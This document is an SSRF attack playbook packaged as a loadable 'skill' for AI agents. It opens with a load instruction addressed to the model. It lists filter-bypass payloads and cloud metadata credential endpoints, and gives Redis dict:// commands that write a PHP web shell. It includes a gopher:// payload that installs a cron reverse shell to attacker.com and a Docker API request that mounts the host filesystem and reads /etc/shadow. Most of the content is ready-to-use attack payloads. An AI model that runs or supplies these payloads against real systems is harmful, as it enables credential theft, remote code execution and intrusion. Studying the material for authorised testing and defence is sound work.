Imported from yaklang/hack-skills (skills/ssrf-server-side-request-forgery/SKILL.md) via skills.sh. Install upstream with npx skills add yaklang/hack-skills --skill ssrf-server-side-request-forgery. Copyright stays with the author.

SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.

0. QUICK START

Extended Scenarios

Also load SCENARIOS.md when you need:

WebLogic SSRF (CVE-2014-4210) — uddiexplorer/SearchPublicRegistries.jsp + operator parameter + %0D%0A CRLF to inject Redis commands
SSRF → internal Redis → write crontab reverse shell complete payload chain
DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, rbndr.us service
Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
SSRF through PDF/screenshot generators — <iframe> and <img> in HTML-to-PDF
Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
URL parser confusion for filter bypass — #@, \@, %00@, IPv6-mapped IPv4

Advanced Reference

Also load URL_PARSER_TRICKS.md when you need:

URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques

If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.

First-pass payloads

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

Host validation bypass families

Validation Type	Try
blocks `localhost` string	`127.0.0.1`, `127.1`, `[::1]`
blocks direct IP only	internal DNS name, decimal/octal/hex IP forms
allowlist by prefix	username part, subdomain confusion, redirect chain
follows redirects	benign external URL redirecting to internal target
parses once, fetches twice	mixed encoding or DNS rebinding style targets

Protocol routing

Goal	Protocol / Target
cloud credentials	metadata HTTP endpoints
internal HTTP admin	`http://127.0.0.1:port/`
Redis / raw TCP style abuse	`gopher://`
local file read candidate	`file://`
dictionary / banner tests	`dict://`

1. FINDING SSRF SURFACE

Look for any parameter containing DNS names, IP addresses, or URLs:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

Less obvious SSRF vectors:

PDF/screenshot generation (URL to capture)
Webhook configuration fields
Import/export via URL (CSV import, RSS/Atom feeds)
OAuth redirect URI (sometimes triggers server-side fetch)
X-Forwarded-Host / X-Real-IP headers in proxy chains
XML DOCTYPE with external entity (file://, http://)
GraphQL @link directive (federation)
Content-Type: text/html pages parsed for <link> preload headers

2. BASIC CONFIRMATION METHODOLOGY

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

3. CLOUD METADATA ENDPOINTS — MUST-TRY

AWS EC2 IMDSv1 (no auth required — critical)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (token required — but check if SSRF can GET the token)

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

If SSRF supports custom headers → full IMDSv2 bypass.

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IP ADDRESS FILTER BYPASS TECHNIQUES

When 169.254.169.254, 127.0.0.1, localhost are blocked:

Localhost Variants

127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6

169.254.169.254 Variants

169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service

Private Network Ranges

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private

Bypass Filter via DNS Input

If filter checks DNS-resolved IP (not hostname):

http://attacker.com/  ← DNS A record points to 169.254.169.254

Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.

5. URL SCHEME ATTACKS

When http:// is allowed or weakly filtered:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection

Redis Gopher SSRF (full RCE potential)

gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. BLIND SSRF DETECTION

When response doesn't reflect fetched content:

Burp Collaborator / interact.sh: check for DNS + HTTP request from server
Pingback/webhook abuse: configure application's own webhook to your URL
Timing analysis: Internal open port vs closed port response time difference
Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology

7. INTERNAL SERVICE EXPLOITATION

Docker API (2375 unauthenticated)

http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}

Elasticsearch (9200 no-auth default)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis (6379 — no-auth common)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

Internal Admin Panels

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

8. SSRF + FILTER BYPASS DECISION TREE

SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
│
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS

9. THE SSRF-FILTER MINDSET

From zseano's methodology: if developers filter only 169.254.169.254 directly but not http://169.254.169.254/latest/meta-data (full path), or forget about:

IPv6 equivalents
DNS names that resolve to internal IPs
Redirect chains (server follows 302 to internal IP)

Classic gap: App filters 127.0.0.1 but not 127.1 or [::1] or localhost.

Application-layer SSRF via XML (when app parses XML):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>

ssrf-server-side-request-forgery

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